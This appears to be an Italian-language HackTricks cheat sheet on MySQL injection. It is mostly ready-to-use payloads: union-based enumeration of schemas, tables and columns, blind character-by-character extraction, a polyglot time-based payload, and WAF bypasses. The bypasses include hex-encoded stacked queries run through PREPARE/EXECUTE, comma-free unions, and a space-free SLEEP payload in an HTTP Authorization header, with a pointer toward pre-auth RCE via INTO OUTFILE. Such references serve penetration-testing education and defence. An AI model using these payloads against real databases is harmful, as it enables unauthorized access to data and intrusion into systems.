MySQL injection
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Commenti
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Funzioni Interessanti
Conferma Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Funzioni utili
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Tutte le iniezioni
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flusso
Ricorda che nelle versioni "moderne" di MySQL puoi sostituire "information_schema.tables" con "mysql.innodb_table_stats" (Questo potrebbe essere utile per bypassare i WAF).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Solo 1 valore
group_concat()
Limit X,1
Cieco uno per uno
substr(version(),X,1)='r'
osubstring(version(),X,1)=0x70
oascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
Cieco aggiungendo
LPAD(version(),1...lunghezza(version()),'1')='asd'...
RPAD(version(),1...lunghezza(version()),'1')='asd'...
SELECT RIGHT(version(),1...lunghezza(version()))='asd'...
SELECT LEFT(version(),1...lunghezza(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
Rileva il numero di colonne
Utilizzando un semplice ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Basato su Union
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Impara qui diverse opzioni per abuse a Mysql injection per ottenere un SSRF.
WAF bypass tricks
Esecuzione di query tramite Prepared Statements
Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Per ulteriori informazioni, si prega di fare riferimento a questo post del blog.
Alternative a information_schema
Ricorda che nelle versioni "moderne" di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics
MySQLinjection senza VIRGOLA
Seleziona 2 colonne senza utilizzare alcuna virgola (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Recupero dei valori senza il nome della colonna
Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection senza SPAZI (/**/
comment trick)
Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come sscanf("%128s", buf)
che si fermano al primo carattere di spazio.
Poiché MySQL tratta la sequenza /**/
sia come un commento che come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Quale il database riceve come:
' OR SLEEP(5)-- -'
Questo è particolarmente utile quando:
- Il buffer controllabile è limitato in dimensione (ad es.
%128s
) e gli spazi terminerebbero prematuramente l'input. - Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori.
- Combinato con le primitive
INTO OUTFILE
per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE).
Storia di MySQL
Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: sys.x$statement_analysis
Versione alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
Altri guide all'iniezione MYSQL
Riferimenti
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.